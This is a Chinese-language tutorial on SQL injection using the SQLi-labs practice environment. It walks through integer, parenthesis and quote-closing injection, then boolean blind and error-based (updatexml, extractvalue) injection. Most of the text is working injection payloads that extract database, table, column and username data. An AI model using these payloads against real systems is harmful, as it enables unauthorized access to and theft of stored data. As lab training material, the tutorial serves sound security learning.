SQL注入进阶学习文档
一、SQL注入环境与基础
本教学基于SQLi-labs实验环境,延续第一篇基础教程内容,重点讲解多种SQL注入技术的实战应用。
二、第二关:整型注入
验证方法
- 输入正常查询:
?id=1→ 页面正常显示 - 尝试字符注入:
?id=1'--+→ 语法错误 - 去掉引号:
?id=1--+→ 页面正常
结论:确认是整型注入,无需闭合引号,后续步骤与第一关相同。
三、第三关:带括号的字符注入
特征分析
- 输入
?id=2'返回错误信息显示存在小括号 - 源代码确认:
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
绕过方法
构造闭合括号并注释后续内容:
?id=2')--+
四、第四关:双引号与括号组合注入
特征分析
- 输入
?id=4"返回错误显示双引号和小括号 - 类似第三关但使用双引号
绕过方法
构造闭合双引号和括号:
?id=4")--+
五、第五关:布尔盲注与报错注入
1. 布尔盲注技术
确认注入类型
?id=1'→ 报错显示两个单引号 → 字符注入?id=1'--+→ 页面正常?id=1' union select 1,2,3--+→ 无数据回显
布尔盲注验证
?id=1' and 1=1 --+→ 显示"You are in ......"?id=1' and 1=2 --+→ 无显示
关键函数
length(): 确定字符串长度ascii(): 字符转ASCII码substr(): 截取字符串
数据库名猜测
-
确定长度:
?id=1' and length((select database()))>7--+→ 成功?id=1' and length((select database()))>8--+→ 失败
→ 长度=8
-
逐字符猜测:
?id=1' and ascii(substr(database(),1,1))=115--+→ 第一个字符's'?id=1' and ascii(substr(database(),2,1))=101--+→ 第二个字符'e'- 最终确定数据库名:security
表信息获取
-
表数量:
?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')=4--+ -
表长度:
?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6--+?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 1,1))=8--+?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 2,1))=7--+?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 3,1))=5--+
-
表名猜测:
?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1)='u'--+ -
字段数量:
?id=1' and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=3--+
2. 报错注入技术
updatexml函数
- 原型:
updatexml(xml_data, xpath表达式, 新值) - 报错注入原理:利用xpath表达式错误返回信息
使用方法
-
获取数据库名:
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+ -
获取表名:
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)--+?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 1,1),0x7e),1)--+
-
获取字段名:
?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),0x7e),1)--+ -
获取数据:
?id=1' and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1)--+
注意:updatexml报错信息限制64字符,使用concat(0x7e,...)确保信息完整
extractvalue函数
- 原型:
extractvalue(xml_data, xpath表达式) - 使用方法类似updatexml
示例
-
获取数据库名:
?id=1' and extractvalue(1, concat(0x7e,database(),0x7e))--+ -
获取表名:
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+
六、技术补充
updatexml函数详解
-
正常用途:更新XML格式数据
UPDATE user_xml SET xml_data = UPDATEXML( xml_data, -- 字段名 '/user/name', -- xpath表达式 '张三丰' -- 新值 ) WHERE id = 1; -
报错注入技巧:
- 参数1和3设为1作为占位符
- 参数2构造非法xpath表达式触发错误
- 使用
0x7e(~)确保信息完整显示
七、总结
本教程详细介绍了:
- 整型与字符型注入的识别方法
- 带括号注入的特殊处理技巧
- 布尔盲注的完整流程与函数使用
- 报错注入的两种实现方式(updatexml/extractvalue)
- 各种注入技术的实际应用示例
关键点在于理解不同注入场景的特征,掌握信息获取的多种方法,并能根据实际情况选择最合适的注入技术。